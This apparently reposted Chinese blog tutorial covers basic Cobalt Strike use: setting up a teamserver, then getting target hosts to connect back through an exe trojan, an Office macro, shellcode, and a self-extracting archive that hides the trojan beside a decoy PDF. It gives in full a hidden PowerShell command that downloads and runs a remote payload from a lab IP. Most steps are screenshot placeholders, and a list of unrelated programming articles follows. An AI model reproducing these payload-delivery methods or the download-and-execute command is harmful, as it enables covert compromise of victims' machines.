cobalt strike基础使用

2023-12-13 02:30
文章标签 基础 使用 cobalt strike

本文主要是介绍cobalt strike基础使用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

coblat strike使用

服务搭建

首先将server端文件放进kali中

image-20231212193304738

对其赋权

image-20231212193638023

执行时需要root权限

设置ip

启动服务

./teamserver 10.4.7.138 123456

image-20231212194014237

回到win11启动cs,输入刚才配置的信息

image-20231212194210950

上线方式

木马(exe上线)

查看一下开放的端口

image-20231212195247967

添加监听

image-20231212195709609

再查看端口就发现一个新的监听端口

image-20231212195747671

新建木马

image-20231212195857878

image-20231212195929414

如果使用耳机添加过监听的话,选择choose就行了

执行一下木马,主机就上线了

image-20231212200311775

右键选择interact可以进入beacon会话

此时可以将sleep设为3

image-20231212200536161

直接用问号就可以看能使用的命令字

image-20231212200614616

也可以执行命令

shell whoami

image-20231212200912783

点击这个可以看到连接关系

image-20231212201144509

宏病毒

image-20231212202832048

输入个名字创建一下

image-20231212203110610

选择ms office

image-20231212203148817

生成之后选择复制

image-20231212203238342

内容粘贴进去

image-20231212203520457

生成的文件双击点击上线

image-20231212203926501

powershell

image-20231212205049332

同样选择监听对象然后生成

image-20231212205117277

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.4.7.138:80/a'))"

powershell中执行一下,主机上线

image-20231212205237569

shellcode

image-20231212205709035

仍然是选择监听对象然后生成

可以记事本打开看看

image-20231212205757425

这些数据格式其实就是硬编码加x

image-20231212210056630

可以使用加载器将这串编成exe格式

首先生成一个木马,然后贴进去一个pdf文件

image-20231212212828388

选中两个选择添加压缩文件

image-20231212212851615

勾选创建自解压文件

image-20231212212933306

image-20231212213845230

image-20231212213950585

image-20231212214010757

image-20231212214051266

image-20231212214947911

此处需要将光标放在fdp之前,插入完成后可以看到

image-20231212215020077

双击之后主机就会上线

image-20231212215119187

并且打开pdf文件

image-20231212215150510

插件

image-20231212215350209

image-20231212215401142

image-20231212215427653

重载后发现多了一个巨龙拉冬

image-20231212215515044

这篇关于cobalt strike基础使用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/486839

相关文章

python panda库从基础到高级操作分析

《pythonpanda库从基础到高级操作分析》本文介绍了Pandas库的核心功能,包括处理结构化数据的Series和DataFrame数据结构,数据读取、清洗、分组聚合、合并、时间序列分析及大数据... 目录1. Pandas 概述2. 基本操作:数据读取与查看3. 索引操作:精准定位数据4. Group

Python使用Tenacity一行代码实现自动重试详解

《Python使用Tenacity一行代码实现自动重试详解》tenacity是一个专为Python设计的通用重试库,它的核心理念就是用简单、清晰的方式,为任何可能失败的操作添加重试能力,下面我们就来看... 目录一切始于一个简单的 API 调用Tenacity 入门:一行代码实现优雅重试精细控制:让重试按我

MySQL中EXISTS与IN用法使用与对比分析

《MySQL中EXISTS与IN用法使用与对比分析》在MySQL中,EXISTS和IN都用于子查询中根据另一个查询的结果来过滤主查询的记录,本文将基于工作原理、效率和应用场景进行全面对比... 目录一、基本用法详解1. IN 运算符2. EXISTS 运算符二、EXISTS 与 IN 的选择策略三、性能对比

使用Python构建智能BAT文件生成器的完美解决方案

《使用Python构建智能BAT文件生成器的完美解决方案》这篇文章主要为大家详细介绍了如何使用wxPython构建一个智能的BAT文件生成器,它不仅能够为Python脚本生成启动脚本,还提供了完整的文... 目录引言运行效果图项目背景与需求分析核心需求技术选型核心功能实现1. 数据库设计2. 界面布局设计3

使用IDEA部署Docker应用指南分享

《使用IDEA部署Docker应用指南分享》本文介绍了使用IDEA部署Docker应用的四步流程:创建Dockerfile、配置IDEADocker连接、设置运行调试环境、构建运行镜像,并强调需准备本... 目录一、创建 dockerfile 配置文件二、配置 IDEA 的 Docker 连接三、配置 Do

Android Paging 分页加载库使用实践

《AndroidPaging分页加载库使用实践》AndroidPaging库是Jetpack组件的一部分,它提供了一套完整的解决方案来处理大型数据集的分页加载,本文将深入探讨Paging库... 目录前言一、Paging 库概述二、Paging 3 核心组件1. PagingSource2. Pager3.

python使用try函数详解

《python使用try函数详解》Pythontry语句用于异常处理,支持捕获特定/多种异常、else/final子句确保资源释放,结合with语句自动清理,可自定义异常及嵌套结构,灵活应对错误场景... 目录try 函数的基本语法捕获特定异常捕获多个异常使用 else 子句使用 finally 子句捕获所

C++11右值引用与Lambda表达式的使用

《C++11右值引用与Lambda表达式的使用》C++11引入右值引用,实现移动语义提升性能,支持资源转移与完美转发;同时引入Lambda表达式,简化匿名函数定义,通过捕获列表和参数列表灵活处理变量... 目录C++11新特性右值引用和移动语义左值 / 右值常见的左值和右值移动语义移动构造函数移动复制运算符

Python对接支付宝支付之使用AliPay实现的详细操作指南

《Python对接支付宝支付之使用AliPay实现的详细操作指南》支付宝没有提供PythonSDK,但是强大的github就有提供python-alipay-sdk,封装里很多复杂操作,使用这个我们就... 目录一、引言二、准备工作2.1 支付宝开放平台入驻与应用创建2.2 密钥生成与配置2.3 安装ali

C#中lock关键字的使用小结

《C#中lock关键字的使用小结》在C#中,lock关键字用于确保当一个线程位于给定实例的代码块中时,其他线程无法访问同一实例的该代码块,下面就来介绍一下lock关键字的使用... 目录使用方式工作原理注意事项示例代码为什么不能lock值类型在C#中,lock关键字用于确保当一个线程位于给定实例的代码块中时